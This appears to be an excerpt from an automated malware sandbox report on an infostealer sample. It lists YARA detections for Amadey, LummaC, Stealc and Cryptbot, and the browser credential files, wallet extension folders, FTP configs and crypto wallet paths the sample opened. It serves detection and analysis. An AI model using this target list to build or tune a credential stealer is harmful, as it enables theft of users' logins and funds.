Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1758282576.0000000000691000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1671475529.0000000004860000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1719275653.0000000004870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1715277761.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2315217142.0000000005060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1759668971.0000000000691000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1717577963.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: 04dc07bf76.exe PID: 2300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 04dc07bf76.exe PID: 5160, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 3907f97605.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000027.00000003.3061120785.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.3202171699.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3ee5495637.exe PID: 2848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3ee5495637.exe PID: 420, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 3907f97605.exe	String found in binary or memory: Wallets/Electrum
Source: 3907f97605.exe, 0000001F.00000003.2880963508.00000000014D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: h\\wallets","m":["*"],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"]J
Source: 3907f97605.exe	String found in binary or memory: Jaxx Liberty
Source: 3907f97605.exe	String found in binary or memory: window-state.json
Source: 3907f97605.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 3907f97605.exe	String found in binary or memory: Wallets/Exodus
Source: 3907f97605.exe, 0000001F.00000003.3134050190.0000000001475000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: 3907f97605.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 3907f97605.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
